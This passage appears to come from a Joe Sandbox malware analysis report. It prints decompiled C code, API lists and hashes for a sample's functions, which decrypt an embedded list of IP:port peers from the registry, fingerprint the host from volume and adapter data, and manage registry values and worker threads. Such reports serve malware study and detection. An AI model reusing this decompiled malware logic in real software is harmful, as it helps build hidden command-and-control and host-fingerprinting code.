					if( *((intOrPtr*)(_t161 - 0x38)) >=  *((intOrPtr*)(_t161 + 0x14))) {
						break;
					}
					L2:
					EnterCriticalSection(_t161 - 0x28);
					if( *(_t161 - 0x30) != 0) {
						VirtualFree( *(_t161 - 0x30), 0, 0x8000);
						 *(_t161 - 0x30) = 0;
						 *(_t161 - 0x2c) = 0;
					}
					_t171 =  *(_t161 - 0x34);
					if( *(_t161 - 0x34) != 0) {
						TerminateThread( *(_t161 - 0x34), 0);
						 *(_t161 - 0x34) = 0;
					}
					ResetEvent( *(_t161 - 0x10));
					LeaveCriticalSection(_t161 - 0x28);
					_t92 = CreateThread(0, 0, E04004AC0, _t161 - 0x34, 0, 0); // executed
					 *(_t161 - 0x34) = _t92;
					 *(_t161 - 0x64) = E040097A0( ~(0 | _t171 > 0x00000000) |  *(_t161 + 0x18) * 0x00000004);
					 *(_t161 - 0x3c) =  *(_t161 - 0x64);
					E04007D20( *(_t161 - 0x64),  *(_t161 - 0x3c), 0,  *(_t161 + 0x18) << 2);
					_t166 = _t163 + 0x10;
					 *(_t161 - 0x60) = 0;
					L8:
					while( *(_t161 - 0x60) <  *(_t161 + 0x18)) {
						( *(_t161 - 0x3c))[ *(_t161 - 0x60)] = 0;
						E04007D20( *(_t161 - 0x3c), _t161 - 0x58, 0, 0x1c);
						_t166 = _t166 + 0xc;
						 *((intOrPtr*)(_t161 - 0x40)) = _t161 - 0x34;
						 *((intOrPtr*)(_t161 - 0x44)) =  *((intOrPtr*)(_t161 + 0x10));
						 *(_t161 - 0x58) =  *(_t161 + 8);
						 *(_t161 - 0x50) =  *(_t161 - 0x60) *  *(_t161 - 8);
						if( *(_t161 - 0x60) >=  *(_t161 + 0x18) - 1) {
							 *((intOrPtr*)(_t161 - 0x4c)) =  *((intOrPtr*)(_t161 + 0xc)) - 1;
						} else {
							 *((intOrPtr*)(_t161 - 0x4c)) =  *(_t161 - 0x50) +  *(_t161 - 8) - 1;
						}
						 *(_t161 - 0x48) = CreateEventA(0, 1, 0, 0);
						_t114 = CreateThread(0, 0, E04004BA0, _t161 - 0x58, 0, 0); // executed
						( *(_t161 - 0x3c))[ *(_t161 - 0x60)] = _t114;
						WaitForSingleObject( *(_t161 - 0x48), 0xffffffff);
						FindCloseChangeNotification( *(_t161 - 0x48)); // executed
						 *(_t161 - 0x60) =  *(_t161 - 0x60) + 1;
					}
					WaitForMultipleObjects( *(_t161 + 0x18),  *(_t161 - 0x3c), 1, 0xffffffff);
					 *((intOrPtr*)(_t161 - 0x5c)) = WaitForSingleObject( *(_t161 - 0x10), 0x2710);
					if( *((intOrPtr*)(_t161 - 0x5c)) == 0) {
						 *(_t161 - 1) = 1;
					}
					 *((intOrPtr*)(_t161 - 0x5c)) = WaitForSingleObject( *(_t161 - 0x34), 0x3e8);
					if( *((intOrPtr*)(_t161 - 0x5c)) != 0) {
						TerminateThread( *(_t161 - 0x34), 0);
					}
					L17:
					EnterCriticalSection(_t161 - 0x28);
					if( *(_t161 - 0x30) != 0) {
						VirtualFree( *(_t161 - 0x30), 0, 0x8000); // executed
						 *(_t161 - 0x30) = 0;
						 *(_t161 - 0x2c) = 0;
					}
					L19:
					LeaveCriticalSection(_t161 - 0x28);
					 *(_t161 - 0x68) =  *(_t161 - 0x3c);
					E040097C0( *(_t161 - 0x68));
					if(( *(_t161 - 1) & 0x000000ff) == 0) {
						L21:
						continue;
					}
					break;
				}
				L22:
				DeleteCriticalSection(_t161 - 0x28);
				return  *(_t161 - 1);
			}

0x04004096
0x04004096
0x04004096
0x0400409c
0x040040a5
0x00000000
0x00000000
0x040040ab
0x040040af
0x040040b9
0x040040c6
0x040040cc
0x040040d3
0x040040d3
0x040040da
0x040040de
0x040040e6
0x040040ec
0x040040ec
0x040040f7
0x04004101
0x04004118
0x0400411e
0x0400413d
0x04004143
0x04004153
0x04004158
0x0400415b
0x00000000
0x0400416d
0x0400417f
0x0400418e
0x04004193
0x04004199
0x0400419f
0x040041a5
0x040041af
0x040041bb
0x040041d2
0x040041bd
0x040041c7
0x040041c7
0x040041e3
0x040041f7
0x04004203
0x0400420c
0x04004216
0x0400416a
0x0400416a
0x0400422d
0x04004242
0x04004249
0x0400424b
0x0400424b
0x0400425e
0x04004265
0x0400426d
0x0400426d
0x04004273
0x04004277
0x04004281
0x0400428e
0x04004294
0x0400429b
0x0400429b
0x040042a2
0x040042a6
0x040042af
0x040042b6
0x040042c4
0x040042c8
0x00000000
0x040042c8
0x00000000
0x040042c4
0x040042cd
0x040042d1
0x040042dd

APIs

EnterCriticalSection.KERNEL32(?,?), ref: 040040AF
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 040040C6
TerminateThread.KERNEL32(00000000,00000000), ref: 040040E6
ResetEvent.KERNEL32(00000000), ref: 040040F7
LeaveCriticalSection.KERNEL32(?), ref: 04004101
CreateThread.KERNEL32 ref: 04004118
CreateEventA.KERNEL32(00000000,00000001,00000000,00000000), ref: 040041DD
CreateThread.KERNEL32 ref: 040041F7
WaitForSingleObject.KERNEL32(?,000000FF), ref: 0400420C
FindCloseChangeNotification.KERNEL32(?), ref: 04004216
DeleteCriticalSection.KERNEL32(?,?), ref: 040042D1

Memory Dump Source

Source File: 00000000.00000002.599743411.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000000.00000002.599611327.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.600083870.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.600248652.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4000000_iJzpyjAehB.jbxd

Similarity

API ID: CreateCriticalSectionThread$Event$ChangeCloseDeleteEnterFindFreeLeaveNotificationObjectResetSingleTerminateVirtualWait
String ID:
API String ID: 371823443-0
Opcode ID: 580c7b9ddcd011ba509f7f8c1de4a743a931a1a6ddda21c3e831cc7138ee1551
Instruction ID: 702011c11570e1e92260a3d6b56584955ffb64453fe6a6bb8e3d44d087611259
Opcode Fuzzy Hash: 580c7b9ddcd011ba509f7f8c1de4a743a931a1a6ddda21c3e831cc7138ee1551
Instruction Fuzzy Hash: 0E51D7B5A40308AFEB18DF94D899BDDBBB1FB48704F108219F605BB2C0D774A940CB54

Uniqueness

Uniqueness Score: -1.00%

Function 04004510 Relevance: 13.7, APIs: 9, Instructions: 173
filememoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E04004510(intOrPtr _a4, intOrPtr _a8) {
				char _v5;
				char _v780;
				void* _v784;
				char _v1308;
				long _v1312;
				void* _v1316;
				long _v1320;
				intOrPtr _v1324;
				intOrPtr _v1328;
				signed int _v1332;
				intOrPtr _v1336;
				intOrPtr _v1340;
				intOrPtr _v1344;
				void* _t90;
				void* _t94;
				int _t97;
				signed char _t101;
				signed char _t114;
				void* _t153;
				void* _t155;
				void* _t156;

				_v5 = 0;
				if(_a4 == 0 || _a8 == 0) {
					L24:
					return _v5;
				} else {
					E04007D20(E04007D20( &_v780,  &_v780, 0, 0x300),  &_v1308, 0, 0x208);
					_t155 = _t153 + 0x18;
					GetModuleFileNameA(0,  &_v1308, 0x208);
					_t90 = CreateFileA( &_v1308, 0x80000000, 7, 0, 3, 0x80, 0); // executed
					_v784 = _t90;
					if(_v784 == 0xffffffff) {
						goto L24;
					}
					_v1312 = GetFileSize(_v784, 0);
					if(_v1312 == 0) {
						L22:
						if(_v784 != 0) {
							CloseHandle(_v784);
						}
						goto L24;
					}
					_t94 = VirtualAlloc(0, _v1312, 0x3000, 4); // executed
					_v1316 = _t94;
					if(_v1316 == 0) {
						goto L22;
					}
					_v1320 = 0;
					_t97 = ReadFile(_v784, _v1316, _v1312,  &_v1320, 0); // executed
					if(_t97 == 0 || _v1320 != _v1312) {
						L20:
						if(_v1316 != 0) {
							VirtualFree(_v1316, 0, 0x8000);
							_v1316 = 0;
						}
						goto L22;
					} else {
						FindCloseChangeNotification(_v784); // executed
						_v784 = 0;
						_t101 = E040047F0(_v1316, _v1312, _a8); // executed
						_t156 = _t155 + 0xc;
						if((_t101 & 0x000000ff) == 0) {
							if(_v1316 != 0) {
								VirtualFree(_v1316, 0, 0x8000); // executed
								_v1316 = 0;
							}
							_v1328 = _a4 +  *((intOrPtr*)(_a4 + 0x3c));
							_v1324 = _v1328 + ( *(_v1328 + 0x14) & 0x0000ffff) + 0x18;
							_v1332 = 0;
							while(_v1332 < ( *(_v1328 + 6) & 0x0000ffff)) {
								_v1336 =  *((intOrPtr*)(_v1324 + 0xc + _v1332 * 0x28)) + _a4;
								if( *((intOrPtr*)(_v1324 + 8 + _v1332 * 0x28)) <=  *((intOrPtr*)(_v1324 + 0x10 + _v1332 * 0x28))) {
									_v1344 =  *((intOrPtr*)(_v1324 + 0x10 + _v1332 * 0x28));
								} else {
									_v1344 =  *((intOrPtr*)(_v1324 + 8 + _v1332 * 0x28));
								}
								_v1340 = _v1344;
								_t114 = E040047F0(_v1336, _v1340, _a8); // executed
								_t156 = _t156 + 0xc;
								if((_t114 & 0x000000ff) == 0) {
									_v1332 = _v1332 + 1;
									continue;
								} else {
									_v5 = 1;
									goto L20;
								}
							}
							goto L20;
						}
						_v5 = 1;
						goto L20;
					}
				}
			}

0x0400451a
0x04004522
0x040047e6
0x040047ed
0x04004532
0x04004556
0x0400455b
0x0400456c
0x0400458b
0x04004591
0x0400459e
0x00000000
0x00000000
0x040045b3
0x040045c0
0x040047d0
0x040047d7
0x040047e0
0x040047e0
0x00000000
0x040047d7
0x040045d6
0x040045dc
0x040045e9
0x00000000
0x00000000
0x040045ef
0x04004617
0x0400461f
0x040047a9
0x040047b0
0x040047c0
0x040047c6
0x040047c6
0x00000000
0x04004637
0x0400463e
0x04004644
0x04004660
0x04004665
0x0400466d
0x0400467f
0x0400468f
0x04004695
0x04004695
0x040046a8
0x040046c2
0x040046c8
0x040046e3
0x0400470f
0x0400473b
0x0400476b
0x0400473d
0x04004750
0x04004750
0x04004777
0x0400478f
0x04004794
0x0400479c
0x040046dd
0x00000000
0x0400479e
0x0400479e
0x00000000
0x0400479e
0x0400479c
0x00000000
0x040046e3
0x0400466f
0x00000000
0x0400466f
0x0400461f

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000208), ref: 0400456C
CreateFileA.KERNEL32(?,80000000,00000007,00000000,00000003,00000080,00000000), ref: 0400458B
GetFileSize.KERNEL32(000000FF,00000000), ref: 040045AD
VirtualAlloc.KERNEL32(00000000,00000000,00003000,00000004), ref: 040045D6
ReadFile.KERNEL32(000000FF,00000000,00000000,00000000,00000000), ref: 04004617
FindCloseChangeNotification.KERNEL32(000000FF), ref: 0400463E

Part of subcall function 040047F0: CryptAcquireContextA.ADVAPI32(00000000,00000000,Microsoft Enhanced Cryptographic Provider v1.0,00000001,00000000), ref: 0400482A
Part of subcall function 040047F0: GetLastError.KERNEL32 ref: 04004834
Part of subcall function 040047F0: CryptAcquireContextA.ADVAPI32(00000000,00000000,Microsoft Enhanced Cryptographic Provider v1.0,00000001,00000008), ref: 04004850
Part of subcall function 040047F0: CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,00000000), ref: 040048EB
Part of subcall function 040047F0: CryptHashData.ADVAPI32(00000000,?,00000010,00000000), ref: 0400490B
Part of subcall function 040047F0: CryptDeriveKey.ADVAPI32(00000000,00006801,00000000,00000001,00000000), ref: 0400493C
Part of subcall function 040047F0: CryptDecrypt.ADVAPI32(00000000,00000000,00000001,00000000,?,000002F0), ref: 0400496F
Part of subcall function 040047F0: CryptDestroyKey.ADVAPI32(00000000), ref: 04004982

VirtualFree.KERNELBASE(00000000,00000000,00008000), ref: 0400468F
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 040047C0
CloseHandle.KERNEL32(00000000), ref: 040047E0

Memory Dump Source

Source File: 00000000.00000002.599743411.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000000.00000002.599611327.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.600083870.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.600248652.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4000000_iJzpyjAehB.jbxd

Similarity

API ID: Crypt$File$Virtual$AcquireCloseContextCreateFreeHash$AllocChangeDataDecryptDeriveDestroyErrorFindHandleLastModuleNameNotificationReadSize
String ID:
API String ID: 2585753175-0
Opcode ID: 41b532c3e78661638157de6fb4dddf30e3a22c3d81890ac6d0c72b3463451886
Instruction ID: c94ea80790bf0b6d8dbf2583483555f7aa9864fa89971da120b97b62dce4532c
Opcode Fuzzy Hash: 41b532c3e78661638157de6fb4dddf30e3a22c3d81890ac6d0c72b3463451886
Instruction Fuzzy Hash: 92815D74A056189BEB64CF14DC94BAAB7B4AF49306F0091D9E608BB2C1D774ABC1CF54

Uniqueness

Uniqueness Score: -1.00%

Function 04009D20 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 133
stringCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E04009D20(intOrPtr _a4, CHAR* _a8, int _a12) {
				char _v5;
				intOrPtr _v12;
				intOrPtr _v16;
				long _v20;
				intOrPtr _v24;
				char _v292;
				intOrPtr _v296;
				char _v404;
				long _v408;
				char _v673;
				char _v676;
				intOrPtr _v680;
				long _v684;
				signed int _v688;
				short* _v692;
				signed int _v696;
				unsigned int _v700;
				intOrPtr _v704;
				char _v900;
				signed int _v904;
				signed int _v908;
				int _v912;
				int _t71;
				void* _t74;
				short** _t76;
				void* _t114;

				_v5 = 0;
				if(_a4 != 0 && _a8 != 0 && _a12 > 0) {
					_v12 = 0x20;
					_v24 = 6;
					_v684 = 0;
					_v20 = 0;
					_v408 = 0;
					_v16 = 0x19660d;
					_v296 = 0x3c6ef35f;
					_v680 = _a4;
					if(GetSystemDirectoryA( &_v676, 0x103) != 0) {
						_v673 = 0;
						_t71 = GetVolumeInformationA( &_v676,  &_v292, 0x103,  &_v684,  &_v20,  &_v408,  &_v404, 0x63); // executed
						if(_t71 != 0) {
							_v688 = 0xffffffff;
							E04007D20(_t71,  &_v900, 0, 0xc0);
							_v700 = 0;
							_t74 = E04009F70( &_v900, 0xc0,  &_v700); // executed
							if(_t74 != 0) {
								_v904 = 0;
								while(_v904 < _v700 >> 2) {
									_v688 = _v688 ^  *(_t114 + _v904 * 4 - 0x380);
									_v904 = _v904 + 1;
								}
							}
							_v696 = _v684;
							_v908 = 0;
							while(_v908 < 4) {
								 *(_v680 + _v908 * 4) = 0x3c6ef35f + _v696 * 0x0019660d ^ _v688;
								_v696 = 0x3c6ef35f + _v696 * 0x19660d;
								_v908 = _v908 + 1;
							}
							_t76 =  &_v692;
							__imp__StringFromCLSID(_a4, _t76); // executed
							_v704 = _t76;
							if(_v704 >= 0) {
								_v912 = WideCharToMultiByte(0, 0, _v692, 0xffffffff, _a8, _a12, 0, 0);
								lstrcpynA(_a8,  &(_a8[1]), _v912 - 2);
								_v5 = 1;
							}
							__imp__CoTaskMemFree(_v692);
						}
					}
				}
				return _v5;
			}

0x04009d29
0x04009d31
0x04009d4b
0x04009d52
0x04009d59
0x04009d63
0x04009d6a
0x04009d74
0x04009d7b
0x04009d88
0x04009da2
0x04009da8
0x04009ddd
0x04009de5
0x04009deb
0x04009e03
0x04009e0b
0x04009e28
0x04009e32
0x04009e34
0x04009e4f
0x04009e73
0x04009e49
0x04009e49
0x04009e4f
0x04009e81
0x04009e87
0x04009ea2
0x04009ecf
0x04009ee4
0x04009e9c
0x04009e9c
0x04009eec
0x04009ef7
0x04009efd
0x04009f0a
0x04009f2b
0x04009f46
0x04009f4c
0x04009f4c
0x04009f57
0x04009f57
0x04009de5
0x04009da2
0x04009f63

APIs

GetSystemDirectoryA.KERNEL32 ref: 04009D9A
GetVolumeInformationA.KERNEL32(?,?,00000103,00000000,00000000,00000000,?,00000063), ref: 04009DDD

Part of subcall function 04009F70: GetAdaptersInfo.IPHLPAPI(00000000,04009E2D), ref: 04009FEB

StringFromCLSID.OLE32(00000020,?), ref: 04009EF7
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,0019660D,00000000,00000000,00000000), ref: 04009F25
lstrcpynA.KERNEL32(0019660D,0019660C,?), ref: 04009F46
CoTaskMemFree.OLE32(?), ref: 04009F57

Strings

, xrefs: 04009D4B

Memory Dump Source

Source File: 00000000.00000002.599743411.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000000.00000002.599611327.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.600083870.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.600248652.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4000000_iJzpyjAehB.jbxd

Similarity

API ID: AdaptersByteCharDirectoryFreeFromInfoInformationMultiStringSystemTaskVolumeWidelstrcpyn
String ID:
API String ID: 2697952880-3916222277
Opcode ID: 019f01e5d103752babcd14cd7d8c94bd9c738822c2c1009ff713c67dab5555ec
Instruction ID: 5e89223982a4db5088977870fe710af53f8bde251be69ccbe6f0708d183867dd
Opcode Fuzzy Hash: 019f01e5d103752babcd14cd7d8c94bd9c738822c2c1009ff713c67dab5555ec
Instruction Fuzzy Hash: 695139B0A043189FEB25CF50CC88BEAB7B9BB44304F14C2D9E5096A281DB74AB84CF51

Uniqueness

Uniqueness Score: -1.00%

Function 04007970 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 115
memoryCOMMON

Download Yara Rule

C-Code - Quality: 96%

			E04007970(intOrPtr* _a4) {
				long _v8;
				void* _v12;
				int _v16;
				long _v20;
				intOrPtr _v24;
				signed int _v28;
				intOrPtr _v32;
				signed int _v36;
				void* _v40;
				char _v44;
				signed int _v48;
				intOrPtr _v52;
				void* _t50;
				intOrPtr _t52;
				void* _t58;
				intOrPtr _t64;
				intOrPtr _t72;
				intOrPtr _t83;
				void* _t96;
				void* _t97;
				void* _t98;

				_v8 = 0;
				if(_a4 != 0) {
					_v16 = 0x8c;
					_v20 = 0x75bc;
					_t50 = VirtualAlloc(0, 0x75bc, 0x3000, 4); // executed
					_v12 = _t50;
					if(_v12 != 0) {
						_t72 =  *0x400e28c; // 0x4013f88
						_t83 =  *0x40118a0; // 0x4013b88
						_t52 = E0400A400(_t83, _t72, _v12, 0x75bc); // executed
						_t97 = _t96 + 0x10;
						_v24 = _t52;
						if(_v24 >= 0x92) {
							_v28 = _v24 - 0x8c;
							_t58 = E04008A70(_v12 + 0x8c,  &_v28, _v12, 0x8c, 0x40130e8, 0x254);
							_t98 = _t97 + 0x18;
							if(_t58 != 0) {
								_v32 = _v12 + 0x8c;
								_v36 = _v28 / 6;
								_v40 = VirtualAlloc(0, _v36 * 0x28, 0x3000, 4);
								if(_v40 != 0) {
									_v48 = 0;
									while(_v48 < _v36) {
										_t64 = E04007B70( &_v44, _v48 * 6 + _v32, 4);
										_push(_v44);
										L0400B1EC();
										_v52 = _t64;
										wnsprintfA(_v48 * 0x28 + _v40, 0x28, "%s:%u", _v52,  *(_v32 + 4 + _v48 * 6) & 0x0000ffff);
										_t98 = _t98 + 0x20;
										_v8 = _v8 + 1;
										_v48 = _v48 + 1;
									}
									 *_a4 = _v40;
								}
							}
						}
						VirtualFree(_v12, 0, 0x8000); // executed
					}
				}
				return _v8;
			}

0x04007976
0x04007981
0x04007987
0x0400798e
0x040079a3
0x040079a9
0x040079b0
0x040079bf
0x040079c6
0x040079cd
0x040079d2
0x040079d5
0x040079df
0x040079ed
0x04007a10
0x04007a15
0x04007a1a
0x04007a29
0x04007a38
0x04007a51
0x04007a58
0x04007a5a
0x04007a6c
0x04007a84
0x04007a8f
0x04007a90
0x04007a95
0x04007abc
0x04007ac2
0x04007acb
0x04007a69
0x04007a69
0x04007ad6
0x04007ad6
0x04007a58
0x04007a1a
0x04007ae3
0x04007ae3
0x040079b0
0x04007aef

APIs

VirtualAlloc.KERNEL32(00000000,000075BC,00003000,00000004), ref: 040079A3

Part of subcall function 0400A400: RegOpenKeyExA.KERNEL32(80000001,80000001,00000000,000F003F,00000000), ref: 0400A45C
Part of subcall function 0400A400: RegQueryValueExA.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000), ref: 0400A480
Part of subcall function 0400A400: RegCloseKey.KERNEL32(00000000), ref: 0400A494

VirtualFree.KERNELBASE(00000000,00000000,00008000), ref: 04007AE3

Part of subcall function 04008A70: CryptAcquireContextA.ADVAPI32(00000000,0400C6E4,Microsoft Enhanced Cryptographic Provider v1.0,00000001,00000000), ref: 04008AD3
Part of subcall function 04008A70: GetLastError.KERNEL32 ref: 04008ADD
Part of subcall function 04008A70: CryptAcquireContextA.ADVAPI32(00000000,0400C6E4,Microsoft Enhanced Cryptographic Provider v1.0,00000001,00000008), ref: 04008B0C
Part of subcall function 04008A70: CryptImportKey.ADVAPI32(00000000,00000000,?,00000000,00000001,00000000), ref: 04008B37
Part of subcall function 04008A70: CryptImportKey.ADVAPI32(00000000,00000000,00000000,00000000,00000001,00000000), ref: 04008B5E
Part of subcall function 04008A70: CryptDecrypt.ADVAPI32(00000000,00000000,00000001,00000000,00000000,00000000), ref: 04008B7A
Part of subcall function 04008A70: CryptDestroyKey.ADVAPI32(00000000), ref: 04008B87
Part of subcall function 04008A70: CryptDestroyKey.ADVAPI32(00000000), ref: 04008B91
Part of subcall function 04008A70: CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 04008B9D

VirtualAlloc.KERNEL32(00000000,?,00003000,00000004), ref: 04007A4B
inet_ntoa.WS2_32(?), ref: 04007A90
wnsprintfA.SHLWAPI ref: 04007ABC

Strings

%s:%u, xrefs: 04007AAB
Kobucgekyxca, xrefs: 040079C5

Memory Dump Source

Source File: 00000000.00000002.599743411.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000000.00000002.599611327.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.600083870.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.600248652.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4000000_iJzpyjAehB.jbxd

Similarity

API ID: Crypt$ContextVirtual$AcquireAllocDestroyImport$CloseDecryptErrorFreeLastOpenQueryReleaseValueinet_ntoawnsprintf
String ID: %s:%u$Kobucgekyxca
API String ID: 1891311255-965644793
Opcode ID: 79f967d1a52c2aaee155b9d7bfa010675069804c64fe547678c39a65b43ec606
Instruction ID: d327848a4ae889dd371e71d646ee9b038911c4fd72f1be7e57aa30bfb263aa34
Opcode Fuzzy Hash: 79f967d1a52c2aaee155b9d7bfa010675069804c64fe547678c39a65b43ec606
Instruction Fuzzy Hash: 8C410FB5E04208EBFB04DF94C945BEEBBB5EB88705F14C159E6057B2C0D779AA40CB64

Uniqueness

Uniqueness Score: -1.00%

Function 04005E30 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 79
registryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E04005E30(signed char _a4) {
				char* _v8;
				char _v9;
				void* _v16;
				void* _v20;
				char* _v24;
				int _v28;
				signed int _v29;
				int _v36;
				char _v68;
				int _v72;
				char* _t31;
				long _t33;
				long _t37;
				char* _t45;

				_v9 = 0;
				_t31 =  *0x40118a0; // 0x4013b88
				_v8 = _t31;
				_t45 =  *0x4011894; // 0x4013fc4
				_v24 = _t45;
				_v16 = 0x80000001;
				if(( *0x401435a & 0x000000ff) != 0) {
					_v16 = 0x80000002;
				}
				_v20 = 0;
				_t33 = RegOpenKeyExA(_v16, _v8, 0, 0xf003f,  &_v20); // executed
				if(_t33 == 0) {
					_v36 = 0x20;
					_v28 = 0x20;
					_v29 = 0;
					_t37 = RegQueryValueExA(_v20, _v24, 0, 0,  &_v68,  &_v28); // executed
					if(_t37 == 0 && _v28 == 0x10) {
						_v29 = 1;
						if((_a4 & 0x000000ff) != 0) {
							RegDeleteValueA(_v20, _v24);
						}
					}
					_t48 = _v29 & 0x000000ff;
					if((_v29 & 0x000000ff) == 0) {
						_v72 = 0x10;
						E04009BD0(_t48,  &_v68, 0x10);
						RegSetValueExA(_v20, _v24, 0, 3,  &_v68, 0x10); // executed
						_v9 = 1;
					}
					RegCloseKey(_v20); // executed
				}
				return _v9;
			}

0x04005e36
0x04005e3a
0x04005e3f
0x04005e42
0x04005e48
0x04005e4b
0x04005e5b
0x04005e5d
0x04005e5d
0x04005e64
0x04005e7e
0x04005e86
0x04005e8c
0x04005e93
0x04005e9a
0x04005eb2
0x04005eba
0x04005ec2
0x04005ecc
0x04005ed6
0x04005ed6
0x04005ecc
0x04005edc
0x04005ee2
0x04005ee4
0x04005ef1
0x04005f0b
0x04005f11
0x04005f11
0x04005f19
0x04005f19
0x04005f25

APIs

RegOpenKeyExA.KERNEL32(80000001,00000000,00000000,000F003F,00000000), ref: 04005E7E
RegQueryValueExA.KERNEL32(00000000,?,00000000,00000000,?,00000020), ref: 04005EB2
RegDeleteValueA.ADVAPI32(00000000,?), ref: 04005ED6
RegSetValueExA.KERNEL32(00000000,?,00000000,00000003,?,00000010), ref: 04005F0B
RegCloseKey.KERNEL32(00000000), ref: 04005F19

Strings

, xrefs: 04005E8C
, xrefs: 04005E93

Memory Dump Source

Source File: 00000000.00000002.599743411.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000000.00000002.599611327.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.600083870.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.600248652.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4000000_iJzpyjAehB.jbxd

Similarity

API ID: Value$CloseDeleteOpenQuery
String ID: $
API String ID: 647993726-227171996
Opcode ID: 42940f5d5e5c91af521085ddcd9b03f77c986a907cdf4f49274909f40d6ddbf2
Instruction ID: 89e6ea7d5f7cd1f3b8914b5f239817843937aaeba4a6099ce7b548add1ef5737
Opcode Fuzzy Hash: 42940f5d5e5c91af521085ddcd9b03f77c986a907cdf4f49274909f40d6ddbf2
Instruction Fuzzy Hash: 3A317370A04249AFEF04CFD4D855BFFBBB9AB44704F14815CEA40B7281D7B96A00CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 04004AC0 Relevance: 12.1, APIs: 8, Instructions: 68
sleepsynchronizationCOMMON

Download Yara Rule

C-Code - Quality: 75%

			E04004AC0(intOrPtr _a4) {
				intOrPtr _v8;
				long _v12;
				intOrPtr _v16;
				void* _v20;
				intOrPtr _t31;
				void* _t50;

				_v8 = _a4;
				if(_v8 != 0) {
					__imp__CoInitialize(0);
					L2:
					while(1) {
						if( *((intOrPtr*)(_v8 + 8)) <= 0 || WaitForSingleObject( *(_v8 + 0x24), 0x64) != 0x102) {
							L6:
							Sleep(0x1388); // executed
							continue;
						}
						EnterCriticalSection(_v8 + 0xc);
						_v20 = 0;
						_v12 = 0;
						_t31 = E04008250( *((intOrPtr*)(_v8 + 4)),  *((intOrPtr*)(_v8 + 8)),  &_v20,  &_v12); // executed
						_t50 = _t50 + 0x10;
						_v16 = _t31;
						LeaveCriticalSection(_v8 + 0xc);
						if(_v16 <= 0) {
							goto L6;
						}
						E040062B0(_v20, _v16); // executed
						VirtualFree(_v20, 0, 0x8000); // executed
						SetEvent( *(_v8 + 0x24));
						__imp__CoUninitialize();
						goto L8;
					}
				}
				L8:
				return 0;
			}

0x04004ac9
0x04004ad0
0x04004ad8
0x00000000
0x04004ade
0x04004ae5
0x04004b80
0x04004b85
0x00000000
0x04004b85
0x04004b08
0x04004b0e
0x04004b15
0x04004b32
0x04004b37
0x04004b3a
0x04004b44
0x04004b4e
0x00000000
0x00000000
0x04004b58
0x04004b6b
0x04004b78
0x04004b90
0x00000000
0x04004b90
0x04004ade
0x04004b96
0x04004b9b

APIs

CoInitialize.OLE32(00000000), ref: 04004AD8
WaitForSingleObject.KERNEL32(?,00000064), ref: 04004AF4
EnterCriticalSection.KERNEL32(-0000000C), ref: 04004B08
LeaveCriticalSection.KERNEL32(-0000000C), ref: 04004B44
VirtualFree.KERNELBASE(00000000,00000000,00008000), ref: 04004B6B
SetEvent.KERNEL32(?), ref: 04004B78
Sleep.KERNEL32(00001388), ref: 04004B85
CoUninitialize.OLE32 ref: 04004B90

Memory Dump Source

Source File: 00000000.00000002.599743411.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000000.00000002.599611327.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.600083870.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.600248652.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4000000_iJzpyjAehB.jbxd

Similarity

API ID: CriticalSection$EnterEventFreeInitializeLeaveObjectSingleSleepUninitializeVirtualWait
String ID:
API String ID: 3462651527-0
Opcode ID: 34458be81e427262741f71e07dfc47b0f17ea7c68782a946b32513cabd3e92be
Instruction ID: a8de0d0852ad7639ac4a8efdad63c4b5a832734fa442b81c8ae14f5e2abf7ac4
